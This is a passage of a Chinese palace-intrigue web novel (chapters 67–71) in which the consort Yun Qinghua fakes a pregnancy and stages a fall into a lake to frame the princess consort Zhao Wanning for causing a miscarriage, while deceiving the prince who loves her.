轻易的表白是不会被珍惜的。 她的表白,一定要化作一张有力的王牌。 可这一次,似乎没这么容易蒙混过关。 云清婳伸着脖子,正欲吻他,可裴墨染却皱着眉头,扶住她的肩膀,他追问:“嗯?上次蛮蛮还没回答。” 她羞红了脸,“您不知道答案吗?” 裴墨染不喜欢留白,凡事一定要清清楚楚。 “本王又不是蛮蛮,本王怎会知晓?”他的面色一沉,严肃的问。 她为何一直不肯说出口,这让他有种不安感。 他需要她的答案! 第67章 撞破云清婳假孕? 云清婳知道他生气了。 换做旁人可能早就屈服,但她不会。 她白皙的脸蛋晕开了红霞,她噘着嘴,“哼!您真坏,非要臊人家!” 裴墨染本来有些恼的,但看着她娇憨羞怯的模样,心中的怒意荡然无存,“蛮蛮,你这个笨蛋。” 她真是不开窍! 对自己的夫君表明心意,有什么好害羞的? 云清婳莫名其妙地看了他一眼,她不满地小声叨叨:“夫君前些日子还夸我聪明呢,怎么就变了?” 他哭笑不得,俯下身,在她小巧的耳垂上轻咬,“好,你聪明。” “哼。” 下午,皇后就派白嬷嬷来传话。 皇后的意思跟万嬷嬷如出一辙,她让裴墨染不要跟云清婳同房。 她们都害怕少年夫妻,年轻气盛,会伤着孩子。 裴墨染只好去北镇抚司。 他经过花园时,正好不正,遇见了救治受伤小鸟的沈沁。 沈沁仔细地用帕子将鸟儿包着。 婢女道:“主子这么善良,你的好,王爷迟早会看见。” “这是求不来的,我真羡慕云姐姐。”沈沁发自肺腑地说。 “云侧妃怀孕了,的确让人羡慕,但主子说不定也很快就有好消息了。”婢女宽慰着。 沈沁摇摇头,“我羡慕的不是这个,而是云姐姐的为人处世。她那么好,不论嫁给何人,都能得夫君喜欢,终生顺遂的。” 听到这里,裴墨染的心浮躁不安起来。 是啊…… 蛮蛮这么好,不论嫁给谁,她都会幸福的。 可是,难道蛮蛮并不喜欢他? 她只是在扮演一个合格的妻子,体贴贤惠的服侍名义上的夫君罢了。 裴墨染的心在这一瞬间悬空起来,他看沈沁的眼神都蕴着厌恶。 她们这些心机深沉的女人,一定是故意当着他的面,诋毁蛮蛮的。 他才不会中计。 …… 之后的三日,裴墨染只要一回府,就被万嬷嬷跟前跟后地制止。 他无奈之下,只能去魏娴那里坐坐。 沈沁、赵婉宁都有下药的嫌疑,他心里是不喜的,并不想见她们。 …… 玄音阁。 天色一暗,云清婳就上了榻,她忍不住感叹:“狗男人不来,不用陪他演戏,真好。” 飞霜的眸熠熠生辉,她颇有信心地劝慰:“主子,等您登上您想到达的位置,就不用再演了。” “嗯!”云清婳坚定地点头。 她不仅要抓住裴墨染的心,将来还要当上皇后、太后! 若是她身无牵绊,她大可给赵婉宁、裴云澈、皇后下毒。 只要能给姐姐报仇,她死了便死了。 但她不能连累云家、谢家以及何心意他们,姐姐在意的人,她都要保护。 至于裴墨染,她玩弄欺骗裴墨染的感情,裴墨染同样用情不专。 他们半斤八两,谁也不欠谁。 “主子,奴婢听说,崔夫人流产前,沈夫人经常去挑衅,还打骂崔夫人的丫鬟。”飞霜的眉毛挤成了川字型。 云清婳深深吐出口气。 这就是猪队友啊,有还不如没有! “原本奴婢还觉得沈夫人好,现在只想她离咱们远一点。”飞霜的言辞中尽是嫌弃。 云清婳眸子一斜,打趣道:“小飞霜,你看你,翻脸比翻书还快。” 飞霜羞红了脸。 …… 另一边,暗探禀报谢容音三年前就死了,裴墨染听后烦躁到了极点,当即把欲言又止的暗探轰走。 他对赵婉宁有同情跟怜悯,但更多的却是怨怼。 为何别人的王妃都能生,而她却不可以? 甚至还一直不愿意圆房! 但他还是亲自看了赵婉宁,派人送了好些珍宝,安慰她放宽心。 赵婉宁此时哪还看得出一丝曾经的骄傲? 在封建皇权的压迫下,她早已不知不觉被同化,渐渐弯下脊梁,成为自己曾经最瞧不起的人。 她趴在裴墨染的膝上,凄凄地啜泣,眼睫挂着泪,“王爷,臣妾一定能生的,您相信臣妾好不好?” “本王相信你,别哭了。”裴墨染冷淡地为她揩去眼泪。 “王爷,今晚能不能让臣妾伺候您?求您了!”她跪在地上,泪眼婆娑地望着他,言辞中带着无尽的祈求、卑微。 裴墨染想要拒绝,却开不了口。 赵婉宁身为王妃,却不能生育,倘若他还冷待她,她日后岂有脸面活在世上? 他应当给她体面。 当晚,清心阁的门外挂上了绚烂明亮的花灯。 就像生怕别人不知道裴墨染留宿似的。 大汗淋漓后,裴墨染很不舒服,他也感受到赵婉宁的假意迎奉。 这让他感到男性尊严受到了践踏。 他甚至瞥见,赵婉宁的身子跟其他人的不一样,甚至有些骇人,登时意兴阑珊。 赵婉宁的后遗症没好,所以有些性冷淡,她正准备变着花样伺候裴墨染。 可他铁钳一般的大掌,扼住赵婉宁的手腕,冷淡地说:“不必了,诏狱还有犯人,本王先走了。” 裴墨染行云流水穿好衣袍,一个眼神都不递给她就匆匆离去。 赵婉宁的眼泪无声地流着,心中无比酸涩,“青樱,王爷对我还有情,对吧?” “那是当然,您前些日子骂了云清婳,打骂了婢女,可王爷还不是留宿了?”青樱喂她喝着秘药。 赵婉宁口中苦涩的药汁,似乎从舌苔蔓延到了心里,“你说得对,即使云清婳怀孕了,可也没办法动摇我在王爷心中的地位,我跟王爷之间,可不仅只有爱情。” 她跟裴墨染在西北并肩作战过,他们不仅是夫妻,还是战友。 战友情谊,只有上过战场的人才懂得。 军营里甚至有人开玩笑说:兄弟如手足,女人如衣服。 王爷就算真喜欢上云清婳了又怎么样? 无论如何,她也是云清婳比不上的。 “王妃,除了魏娴被人下药存疑,还有云清婳怀孕一事,让奴婢觉得蹊跷。云清婳既然中了药,胎儿不可能没事啊。”青樱眯着眼,略有几分老谋深算。 赵婉宁阴恻恻地笑了,“你的意思是云清婳假孕?” “有这个可能,那药厉害得很,云清婳怎么可能一点事都没有?听说,她整日在玄音阁上蹿下跳的,根本不像个孕妇。”青樱的神色激动。 赵婉宁满意地颔首,眼中散出喜色的光,“好!让咱们的人收集证据,只要找到机会,我必不会放过她!居然为了争宠,假孕欺骗王爷!” “王爷可是最恨被人欺骗的!只要打破云清婳在王爷心中的完美无瑕的形象,王爷必会回心转意。” …… 玄音阁。 云清婳站在窗边,将裴云澈新送来的信笺全都烧掉。 “主子,药效这两天就结束了,您再不动手葵水就来了。”飞霜着急地绞着帕子,“赵婉宁这两天也太安分了,咱们想嫁祸到她头上都不行。” 云清婳胸有成竹,她的眼底全是算计,“你看,机会这不是来了?” 庭院中传来急促的脚步声,裴墨染穿着一席玄色衣袍,大步流星地跨入寝殿大门。 第68章 请君入瓮 此时离晌午还早着,众人万万没想到他这个时辰会从北镇抚司回来。 “蛮蛮。”他的眸中闪烁着光。 “夫君!”云清婳惊喜地小跑过去,一头扎进他怀里,双手紧紧环抱着他的腰。 就像是带着无尽的思念。 裴墨染心里是高兴的,但被她莽撞的举动吓得不行,他赶忙摸她的肚子,“蛮蛮,当心些。” “夫君好久都没来了。”她委屈地抬头望他。 他心尖一颤,捧着她的脸,带着多日的思念吻她。 “唔……”云清婳动真格地推他。 狗男人不要脸,她还要。 她不想给一屋子的人现场直播啊! 可她的拒绝反而激发了裴墨染的征服欲,他将她圈在怀里,吻得更加卖力。 婢女都羞红了脸,飞霜贴心地带人离开,还关好了门窗。 一吻毕,裴墨染将她抱去贵妃榻上,让她坐在他的膝上。 他轻刮她的鼻尖,恼火地说:“皇后跟万嬷嬷整日监视本王,本王今日特意下职早了些,才避开她们。” 裴墨染时常暗想,他们明明是夫妻,怎么搞得跟偷情似的? 当然,这些话他没敢说给蛮蛮听。 否则她又要害羞了。 “这会不会不太好?夫君怎可为了我,提前下职?”她的小脸一皱,又愧疚又惶恐。 “你不想见本王?”裴墨染佯装生气,“好,本王这就走!” 云清婳扑进他怀里,环住他的腰,撒娇道:“不许走。” 裴墨染心里瞬间痛快了。 果然! 蛮蛮心里是有他的,只是太害羞了,所以才不肯表白。 沈沁就是在胡说八道! “本王逗你玩呢。今日的安胎药可喝了?”裴墨染轻抚她的小腹。 云清婳摇摇头,“飞霜已经在熬药了,还不曾喝。” “正好,本王喂你。” 裴墨染喂药喂到一半时,万嬷嬷来了。 云清婳做贼心虚似的,躲在裴墨染身后。 她的一对剪秋瞳水汪汪的,羞得快哭了,“万嬷嬷……” 瞧见她没出息的模样,裴墨染又心疼又觉得好笑。 她怕什么? 像极了做错事被先生找父母的熊孩子。 “万嬷嬷,本王喂完云妃药就会走,今日来是知会一声明日宫宴的事。”裴墨染头头是道的说着,显然早就想好了借口。 万嬷嬷尴尬的福礼,“老奴僭越了,老奴告退。” 怎么搞得她像是棒打鸳鸯的恶人? 要不是王爷跟云侧妃总是腻腻歪歪的,对视一眼,那眼神都能拉丝,她用得着这么担心? “夫君,什么宫宴啊?”云清婳扬起脸问。 裴墨染用掌心的薄茧磨着她的脸颊,“德妃娘娘跟父皇老来得子,父皇特意给十七弟大办百日宴。” “我可以去吗?”她的眼神含着期待。 他颔首,“自然,本王只带蛮蛮去。” 睿王一党人,整日嘲笑他娶了个不会生孩子的王妃,子嗣单薄,他自然要把蛮蛮带出去撑面子。 “夫君也带上王妃吧,我怕王妃多想。”云清婳劝道。 裴墨染也担心赵婉宁将来报复她,只好颔首。 云清婳瞬间眉开眼笑,她从纱橱后面拿出两身外袍,俏皮地问:“夫君,明日我穿这件月白色的,还是这件黄丹色的?” 他的眼神不自知地变得宠溺,她明艳动人,充满朝气,把小女儿家的一面展现给他。 “这件。”他指着鲜艳的黄丹色外袍。 “好。”她笑得明艳,像一朵绽放的牡丹。 黄丹色,乍得一看很像红色。 她就不相信,赵婉宁能忍得住不发作。 明日,她就要赵婉宁身败名裂,沦为一个谋害皇嗣的毒妇! …… 皇宫。 宴厅。 一路上,赵婉宁的眼刀都时不时刮在云清婳的身上。 她今日穿着蓝色的王妃服制,可云清婳却穿着大红大紫。 不知道的,还以为她才是妾呢。 这个贱人,假孕还敢这么嚣张。 等会儿,她就请太医院院正过来,亲自给云清婳看看,当着皇上跟文武百官的面揭穿云清婳的真面目。 而裴云澈始终紧盯着云清婳,有臣子跟他说话,他也没听见。 宴席开始前,云清婳福礼道:“夫君,我去给皇祖母请安,顺便去看看狗。” “去吧。”裴墨染捏捏她的手心,有些纠结。 他正在拉拢官员,人情往来,实在走不开。 云清婳经过回廊时,被一股大力一扯,她被按到了墙上。 “……”她如同受惊的小鹿,瞪圆了双眼。 “蛮蛮,你还要躲本王躲到什么时候?”裴云澈将她的双手压在墙上。 云清婳错开眼,不敢看他,“殿下,妾身没有躲您。” “还说没有躲!信也不回,方才给你使眼色,你也不肯看本王。”裴云澈的语气竟有些委屈。 云清婳的眼泪扑簌簌地落了下来,他当即慌了神,连忙松开她,给她擦眼泪。 “本王方才是不是太凶了?本王实在是着急了,蛮蛮别哭了,本王向你赔礼。”裴云澈拱手,当真向她拜了拜。 她娇声道:“殿下,使不得,妾身可受不起。” “你怎会受不起?本王是混蛋,是禽兽,中秋那晚居然趁人之危,罔顾人伦,占有了你。”裴云澈的耳根子通红,看起来也十分煎熬。 云清婳抱着他,“殿下不要这样说自己,妾身是愿意的!要怪就怪妾身吧。” “蛮蛮,孩子……可是本王的?”裴云澈有些难以启齿。 她的眼泪又掉了下来,她很轻的点了下头,“妾身会打掉的,妾身不能玷污您的名誉,更不能让裴墨染蒙羞。” “你管裴墨染作甚?”他抓住她的手,“蛮蛮,生下来好不好?把孩子生下来!本王的后宅,没有一人能顺利诞下孩子,你腹中是本王唯一的血脉。” 她似乎被吓到,半晌没说话。 “这有违人伦,虽然裴墨染对不住我,可我怎能如此伤害他?”云清婳的眼泪落到了他的手背上。 裴云澈的手颤抖起来,他盯着云清婳的小腹,“蛮蛮,算本王求你,留下它吧。孩子是无辜的!” “这么多年以来,本王的孩子就没有一个能顺利诞生,本王希望第一个孩子,是蛮蛮生下的。” 云清婳似乎被打动,“殿下,妾身愿意为您做任何事,哪怕变成一个坏女人。” “不,坏的是本王,蛮蛮是本王见过最纯洁无瑕的女子。”裴云澈抱着她,心尖都在颤抖。 他知道这个孩子于情于理都不该留下,但他渴望孩子! 就当他对不起裴墨染吧! 日后待他登上皇位,他会补偿裴墨染的。 忽然,一阵脚步声传来。 二人立即分开。 苏晴莲步款款地笑着走来,只是笑不达眼底,“王爷,母后找您呢。” “知道了。”裴云澈递给云清婳一个眼神。 苏晴上前挽住裴云澈的胳膊,“云侧妃既然身怀有孕,就该当心,女人怀孕时最脆弱了,肃王应当多多照看着你。” 云清婳垂下眼,“多谢关心。” “走吧。”裴云澈示意苏晴住口。 人走后,飞霜从暗处现身。 “苏晴没听到不该听的吧?”云清婳神色一寒。 第69章 王妃害云清婳流产! “主子放心,奴婢引她过来的时间正好,她只看见了您跟裴云澈抱在一起。”飞霜道。 云清婳满意地颔首。 苏晴可不是个省油的灯,迟早会将此事捅出去! 到那时,她期待裴墨染的反应。 …… 宴席伊始。 觥筹交错,推杯换盏,丝竹管弦悦耳。 睿王睨着裴墨染、赵婉宁,脸上扬起了恶意的笑。 “四皇兄,听闻皇嫂身子不好,本王特意请来了太医院院正,为皇嫂医治。”睿王大气地笑道。 这跟当众打裴墨染的脸没有区别。 赵婉宁尴尬地垂下眼,她心中有气,但也不敢发。 “多谢。”裴墨染咬牙切齿道。 一瞬间,许多皇子、官员纷纷朝他投去戏谑的目光。 而皇后、裴云澈则置身事外,一副事不关己的模样。 这孤立无援的感觉,让裴墨染回想起,他成为“大昭战神”之前的光景。 那时的他,也是这样的人皆可欺。 可打了胜仗,封了爵位之后,便无人敢对他不敬,直到赵婉宁的事被传了出去…… 上首,皇上无悲无喜,他仿佛没看到台下的暗潮汹涌。 云清婳想到了一句话——子女不和,老人无德。 皇上无视作乱者,不正是在助长睿王的气焰? 他虽然欣赏宠爱裴云澈,可也在放任皇子内斗,只有斗赢的人,才配继承皇位。 “睿王殿下,您糊涂啊,今日可是十七皇子的百日,请什么太医啊?这也太……”云清婳用手掩着嘴,像是在好心给他提醒。 可未出口的话,众人皆知道是什么。 德妃当即变了脸色,她双臂颤抖地抱紧了襁褓中的孩子。 睿王的脸色一沉,不悦道:“云侧妃,你的心思实在太深!本王的好心,被你污蔑成恶意,你对本王是不是有什么误会?总是这般上纲上线!” “臣妾岂敢?太医不是还没来吗?臣妾只是担心,有心之人会因此诟病您,王爷就吃过类似的亏,被小人指指点点,冤枉得很。”云清婳的眼泪在眼眶打转,像是蒙受了天大的冤屈。 云清婳这出指桑骂槐,实在精彩。 一边将了睿王一军,另一边又给憋屈了好几日的裴墨染报仇了。 指明了睿王是小人,对裴墨染指指点点。 裴墨染不喜口舌之争,所以总是落于下风。 他惊艳地看向云清婳。 “云妃多嘴了,但也是好意,皇弟不会见怪吧?”裴墨染笑吟吟地问,气死人不偿命。 睿王的后槽牙磨得硌吱硌吱响,可大庭广众下,若是咬住不放,只会显得他斤斤计较。 他的指尖用力抠着掌心,憋屈地说:“怎会?” 龙椅上的皇上,多看了云清婳一眼,仍旧一言不发。 就在这时,太医院院正赵太医已然来到门外候着。 太监总管立即去驱赶。 德妃不悦地瞥了睿王一眼,娇嗔道:“皇上,皇儿的百日宴怎能来太医呢?究竟是谁把太医请来的?真是触霉头!” “多管闲事的狗东西!”皇上冷不丁吐出这一句话,不知道在训斥太医,还是在训斥睿王。 登时,宴厅鸦雀无声。 众人齐齐下跪叩首。 睿王的脸色惨白,大汗淋漓。 “怎么都停了?接着奏乐,接着舞!”皇上倏地展露笑颜,摆摆手,示意乐府继续奏乐。 席面又一次恢复热闹,只是每个人都没心情了。 云清婳跟德妃默契地相视一笑。 之前秋狝时,德妃误会了云清婳,这次既算是还她个人情,也是给自己报仇。 宴席快结束时,赵婉宁温婉道:“王爷,稍后不如请赵太医给臣妾跟云妹妹看看吧?云妹妹这一胎可得当心。” 裴墨染正有此意,他欣慰地点头。 “夫君,殿内的炭火烧得好足,我想去透透气。”云清婳扶着额。 “可用本王陪你?”裴墨染拉着她的手。 “夫君先忙,我有些困了,等会儿直接回府就好。”说着,云清婳打了个哈欠。 裴墨染没有阻拦,“乖,回府后记得喝安胎药,怕苦不喝也无妨,到时候本王喂你。” 她嗔怪地瞪了他一眼,“我才不要,夫君一身酒气,别把我跟孩子熏坏了。” 他忍不住笑了。 赵婉宁像一条吐信子的毒蛇,眼神阴狠。 贱人是心虚了吗? 所以急着回府,不敢让赵太医把脉? …… 云清婳来到了湖边,她抓了把鱼食丢进湖中,锦鲤纷纷争食。 此时,宫人都在宴厅伺候,湖边没什么人。 “云妹妹为何不敢让赵太医看诊?” 赵婉宁的声音倏地从背后传来。 云清婳的身子一晃,她拍拍胸口,“王妃,您突然说话,吓到妾身了。” 这些小动作,在赵婉宁看来都是心虚的表现。 “走吧!今日的太医,你看也得看,不看也得看!”赵婉宁的柳眉高挑,一把抓住她的手。 云清婳身上的黄丹色,跟红色实在太像了! 这如同烈火,燃烧着赵婉宁的理智。 云清婳拼命挣扎,小脸涨得通红,“王妃!妾身累了,改日再看也不迟!” “呵……”赵婉宁加大力气,嘲讽着,“现在知道怕了?不过是假孕,都敢穿着红色,向我示威!来日若是真怀孕了,还不得杀了我?” “妾身听不懂您在说什么,这身衣裙是夫君准许妾身穿的。您放手!放手!”云清婳的眼里,眼泪在打滚。 赵婉宁的怒火熊熊燃烧,“云清婳,你越害怕,我越兴奋!趁着皇上还在,你必须要跟我走!” “我不会跟你去的!” 可赵婉宁的力气比云清婳的大,她轻易就将纸片般单薄的人拽走。 这边的动静引得许多太监、宫女的注意。 突然,云清婳的腹部传来一阵绞痛,一股热流直下。 她暗暗一笑。 啧,生理期来了呢! “王妃,你松开我!”云清婳故意用指甲狠狠抠她的手背。 手上的皮肉都被抠破、流血。 赵婉宁吃痛,狠狠一甩,“贱人!你果然心虚了!” 云清婳离湖水有一段距离。 可她故意连连后退,一头朝后栽了进去。 “啊——” “救命、救命啊——” 紧接着,几个太监、宫女跳进了湖水中。 赵婉宁抱臂,她在岸上冷笑,“假孕也就罢了,难道还能假装流产不成?” 湖边的声响很快惊动了宴厅。 紧接着,裴墨染、裴云澈闻风冲了出来。 “蛮蛮!蛮蛮!”裴墨染疯了一般朝湖边跑去。 裴云澈的速度也不亚于他,双眼通红,“蛮蛮……” 太监很快就把云清婳捞了上来,她冻得嘴唇乌紫,瘫倒在地上。 “蛮蛮……” 裴墨染慌张地脱下外袍,包裹住她冰凉的身子,他咆哮道:“都愣着干什么?宣太医!宣太医!” “王妃,王妃……”她小声说完,就白眼一翻,晕了过去。 裴墨染扭头,恶狠狠地瞪着赵婉宁。 赵婉宁正欲辩解,可再次看到云清婳时,她的瞳孔地震。 随后宫女的尖叫声响起,啊—— “血,有血……” “云侧妃,云侧妃的孩子……” 裴墨染定睛一看,云清婳的衣裙上有一团血渍正在不断晕开、扩散…… 裴云澈的眸子涣散,像是失去了最宝贵的东西。 “赵婉宁!孩子倘若有什么三长两短,本王必不会放过你!”裴墨染咬牙切齿地怒斥。 第70章 夫君,给我们的孩子报仇 赵婉宁的身躯一震,她惊恐的脸色惨白,她语无伦次地说:“王爷,是云清婳自己跌进湖里的。她假孕,她一定是在假孕,所以故意栽赃臣妾!” 裴墨染没空理她,他抱着云清婳朝侧殿跑去。 “贱妇!”裴云澈恶狠狠地瞪赵婉宁,那眼神像极了剔骨刀,恨不得将她扒皮拆骨。 赵婉宁双腿一软,失力地瘫坐在地上。 …… 云清婳跌进了冰水中,发了高烧,昏迷了一天一夜。 梦境沉浮,她面容痛苦,嘴里不停地呓语。 她又梦见了姐姐。 幼年,她砸死了一只兔子,其他人都骂她是怪胎,就连父母、哥哥也用惊恐的眼神看她。 只有姐姐挺身而出,将她护在身后。 姐姐教她向善,教她如何成为世人眼中的正常人,压制着她本性的恶。 裴墨染俯下身想听清她在说什么,可什么都没听到。 “蛮蛮,别怕,本王在呢。”他紧紧抓住她的手。 飞霜的双眼包着眼泪,心疼地看着榻上的人,“主子……” 云清婳的羽睫轻颤,她缓缓睁开双眼。 “蛮蛮……”裴墨染一天一夜未眠,熬红了双眼,他心疼地看着她。 云清婳将手缓缓移到小腹上,双眼晦暗,“夫君,孩子……还好吗?” 裴墨染的心生疼,好像有细细密密的针刺进了他身上的每一个毛孔,呼吸对他而言都是痛苦的。 明明昨日出门前,一切都是好好的。 可一转眼,什么都没了。 这个孩子,是他满心满眼期待的,他甚至已经翻阅典籍,准备给孩子取名字了。 “蛮蛮,我们还会有孩子的。”他的声音干涩喑哑。 “您在开什么玩笑?”云清婳责怪地瞥他,可表情已然变得复杂。 裴墨染的双眼泛红,不语。 “主子,是真的。”飞霜期期艾艾地摸起了眼泪。 云清婳愣住了。 过了好一会儿,她捂着肚子,突然哭了起来,“呜呜呜孩子,我的孩子!都怪我,都怪娘亲没保护好你……” 这演技,把飞霜都吓到了! 主子演得太逼真了! 细节处理得真到位啊! 裴墨染心疼的抱着云清婳,他的额抵住她的额,温柔地轻哄:“蛮蛮,我们还会有孩子的!我们还年轻,不怪你,不怪你!” “呜呜呜我的孩子才刚满三个月啊!”云清婳哭喊着,鬓角的青筋鼓起,脸涨得通红。 “王妃,王妃呢?是王妃害了我们的孩子,是王妃!夫君,您要给我们的孩子报仇啊。”她抓住裴墨染的手,像是找到了主心骨,双眼灼热的看着他。 裴墨染下意识避开了她的眼神,“……” 所有人都同情、怜悯地看着云清婳。 就在这时,贴身太监走来,他跪在地上道:“王爷,王妃已经从翊坤宫被送回来了。” “召她过来。”裴墨染冷声命令。 少顷,赵婉宁走了进来。 她的发髻散乱,珠钗早就不知所踪,白净的脸蛋肿了一圈,上面全是巴掌印,嘴巴被打烂,嘴角还在汩汩流血。 显然,皇后已经打过她出气了。 可裴墨染还是派人将她救了出来。 赵婉宁扑通跪在裴墨染脚边,她哭着攥着裴墨染的衣摆,“王爷!臣妾冤枉啊!” “别碰本王。”裴墨染扯开被她捏住的衣角。 赵婉宁的身子一晃,她没跪稳,砰地摔在地上。 云清婳含着泪支起了身子,她黛眉一沉,狠狠地瞪她,“王妃,你为何要推我下水?你好歹毒的心啊!自从嫁进肃王府,我处处忍让,可换来的却是你的变本加厉!” “以前你欺辱我也就罢了,可你为什么要害一个未出世的孩子?” 赵婉宁的双眼带着无尽的恨意,她哭道:“王爷,臣妾只不过想让云侧妃看太医罢了,可云侧妃不愿意,还故意抠破我的手,我吃痛,轻轻一甩,她就故意跌进湖里了。” 说着,她扬起了双手,双手上尽是抠抓的痕迹。 裴墨染的眼中的冰冷,并没有因为她的解释有丝毫动摇。 “当时我便说了,我累了,想回府。可你却非要拖拽我,我情急之下才不小心伤了你。”云清婳哭得喘不过气,大口大口地呼吸。 裴墨染担心她气坏,他轻拍她的背脊,给她顺气。 他冷声斥道:“王妃!宫女太监都看见了,是你粗鲁的拖拽蛮蛮,亦是你将她推入湖中!这么多双眼睛,还能冤了你?” “从蛮蛮嫁进门到现在,你究竟是什么心思,本王一清二楚!你早就容不下蛮蛮,容不下蛮蛮的孩子了!” 赵婉宁的心猛地一抽。 她不能接受曾经满心满眼都是她的男人,用看仇人的眼神看她。 “王爷,臣妾都是为了您啊!臣妾要告发云侧妃假孕!”赵婉宁竖起三根手指,“臣妾如若有半句虚言,不得好死!” 云清婳挑眉。 赵婉宁,你当然会不得好死。 “疯妇!你害死了本王的孩子不够,还要再给蛮蛮泼脏水吗?太医已经诊断蛮蛮小产,你还要往蛮蛮的伤口上撒盐?”裴墨染怒斥。 赵婉宁朝他磕头,她言之凿凿:“王爷,我们夫妻五年的感情,您就不能再信臣妾一次吗?!臣妾请了赵太医过来,赵太医师出药仙谷,刚正不阿,不惧权势,定不会说谎!” 此话一出,飞霜的嘴唇颤了颤。 算起来,赵太医是她的师叔。 当初是被她爹逐出药仙谷的。 说不定真能看出主子假孕。 赵婉宁捕捉到了飞霜的反应,她狼狈的脸登时变得自信。 裴墨染蹙眉,悬而不决。 云清婳看得出来,狗男人还是动摇了。 他生性多疑,虽然偏心她,但对赵婉宁还是有着信任跟不忍的。 “王妃,何必咄咄逼人?若是云姐姐没有假孕,您能给孩子谢罪吗?”沈沁忍不住开口。 赵婉宁不假思索:“有何不敢?” 裴墨染最终还是摆摆手,示意召赵太医进门。 “等等。”云清婳看向裴墨染。 “怎么了?”他担心地问。 云清婳轻声道:“我想梳妆打扮一番。” 裴墨染知道她最看重体面,她如今病弱的模样,不方便见外人。 “好。”他屏退了闲杂人,让她们在庭院等候。 云清婳换了身从未穿过的蓝粉色襦裙,梳了平髻,坐在榻上。 少顷,赵太医被请了进来。 赵太医看见云清婳的一刹那,眸子一颤,眼神中卷起风暴,风云骤起。 “还请赵太医帮妾身洗清冤屈,严惩凶手。”云清婳虚弱地说。 第71章 都让杀赵婉宁 赵婉宁的目光冰冷,眸中是满满的期待。 等赵太医诊断出她在假孕,王爷定会厌弃她! 赵太医脸色复杂地将丝帕搭在云清婳的腕上,把了片刻的脉象,便道:“启禀王爷,云侧妃的身子亏空的厉害,但若是好好养着,一年内定能再次怀上贵子。” “呜呜呜……”云清婳捂着脸痛哭起来。 赵婉宁的双眼瞪得浑圆,难以置信。 “赵婉宁,你闹够了没?”裴墨染的心像是又被捅了一刀,他低吼。 “王爷……”赵婉宁的脑袋一片空白,她惊慌地跪地。 她想不通云清婳到底有没有假孕,但她知道她被算计了。 “臣妾也是爱您,不想您被骗,才犯了糊涂。倘若不是云妹妹抠我的手,我怎会失手甩开她?”赵婉宁瑟瑟发抖。 “住口!你恶意猜忌蛮蛮,害死了本王的孩儿,还有脸说爱?”裴墨染眼神尖锐地剜着她。 赵婉宁指着自己胸口处受过箭伤的位置,“臣妾对您的心,天地可鉴!” 裴墨染的眼睛像是被烫到,他匆匆错开眼。 他的心摇摆不定,悲痛中夹杂着一丝的犹豫,“本王不想再看见你!来人,把王妃关进清心阁面壁思过。” “不要啊,王爷,王爷……”她想要抓他的衣摆,祈求他的宽恕。 可太监已经抓住她的肩膀,将她拖走。 此事尘埃落定,众人都离开了。 飞霜屏退了婢女,将门窗阖上。 裴墨染备受煎熬,他垂眸看向云清婳,心又刺痛了一下。 云清婳正瞪圆了双眼,用难以置信,失望至极的目光看他,大颗大颗的眼泪如珍珠般砸下。 “蛮蛮……”他伸手想为她擦眼泪。 可云清婳别开脑袋,防备地躲开他。 裴墨染的心脏抽疼。 他知道,蛮蛮是在怪他给赵婉宁的处罚太轻。 可赵婉宁也是失手,更何况赵婉宁曾经救过他的命,陪他上过战场。 他也愤怒,他也怨恨。 可难道要他下令杀了赵婉宁? 云清婳抽噎着,眼神里满是责怨,“我们的孩子就这样白死了?” “蛮蛮,王妃已经受到惩罚了,我们会再有孩子的。”裴墨染轻声安慰。 “我们的孩子就这样白死了?”她不顾仪态的拔高声音,哭着又问了一遍。 裴墨染从未见过她如此失态的模样,知道她是被伤到极点了,“蛮蛮,本王已经把王妃囚禁,日后不会有人再害你。” 他抱着她,轻轻拍着她的背脊,帮她顺气。 云清婳却拼命挣扎,她崩溃的哭喊:“别碰我,别碰我,我不想恨你!你走,你走!” 恨字,如同利刃扎进了他的心脏。 裴墨染更紧的抱住她,“王妃曾经在战场上救过本王的命,这是出生入死的情谊,你难道让本王杀了她不成?蛮蛮,你连崔氏都能原谅,再给王妃最后一次机会好吗?” “你怎么可以这样对我跟孩子?裴墨染,你知道我有多喜欢你吗?”云清婳使劲推搡他。 啪—— 一巴掌狠狠甩在裴墨染的脸上。 他难以置信,她会动手打他。 蛮蛮终于对他表明心意了,却不曾想,是在这种情况下。 这让他更难受了。 云清婳也有些后悔,戏好像演过了…… 她捂着小腹,哀哀地哭着:“对不起,娘亲保护不了你,也没办法帮你报仇!” 裴墨染哪里忍心责怪她? 他怕刺激到她,温柔的说道:“蛮蛮,你先冷静下,本王改日就来看你。” 裴墨染不舍地离开。 云清婳躺在榻上,哀哀地哭着。 飞霜闻声走进来,她心疼地抱着云清婳,“主子,别哭了。您才小产,太医交代过不可过悲过忧。” “孩子都没了,我活着还有什么意思?”她哭得一抽一抽的。 窗外,裴墨染听到她的话,心疼不已。 “主子,向前看吧,您跟王爷一定还会有孩子的。” 云清婳无力地趴在榻上,她摇摇头,眼泪无声地坠下,“就算是一块石头,捂了这么久,也该热了。王爷偏袒王妃至此,我累了,不想再浪费时间了。” 裴墨染感觉周身空气稀薄,让他有些窒息,他转身离开。 …… 云清婳听到脚步声渐远,她瞬间变脸,收住了眼泪。 飞霜冲她比了个大拇指,“主子,您的演技越发好了。” “小飞霜演得也不错。”云清婳揩去脸上的眼泪,夸奖道。 飞霜崇拜地看着她,“主子,您是怎么骗过赵师叔的?难道奴婢的药这么厉害,骗过了赵师叔?” 她的眼珠子滴溜溜一转,“我这身打扮你不眼熟吗?” “这是谢小姐的装扮。”飞霜恍然大悟。 云清婳解释:“表姐是赵太医的恩人,曾经救过赵太医的命。赵太医看到我这身打扮,自然知道我跟姐姐交情匪浅,自然会卖我这份人情。” 这本小说的女主角已经死了,但是她可以借用姐姐女主光环的余晖。 “主子英明!”飞霜道。 云清婳写了封信,“把这个交给裴云澈的耳目,我要让裴云澈恨上裴墨染。” “是。”飞霜叹了口气,“真是气人!王爷居然还是放过了赵婉宁。” 云清婳并不着急,一副神机妙算的军师模样,“我早就猜到会是这个结果,放心吧,此事只是个铺垫!等到板子落在裴墨染身上,他就知道疼了。” 这个结果,完全是意料之中的,她并没有多失望。 裴墨染镇守边关十年,血战沙场,最讲战友情谊。 赵婉宁救过他一次,他恨不得还十次。 “这样也好,等到赵婉宁的私生子败露,这些宽恕会化为回旋镖统统刺向赵婉宁。”飞霜想到将来,不由得笑了。 …… 北镇抚司。 裴墨染坐在公堂中,翻看着重案卷宗。 他神色凝重,周身气压极低。 无一人敢近身。 宫宴的事闹得很大,几乎人尽皆知。 诸葛贤不住地唉声叹气。 裴墨染当即猜到他的心思,轻扬下巴,“先生想问什么就问吧。” 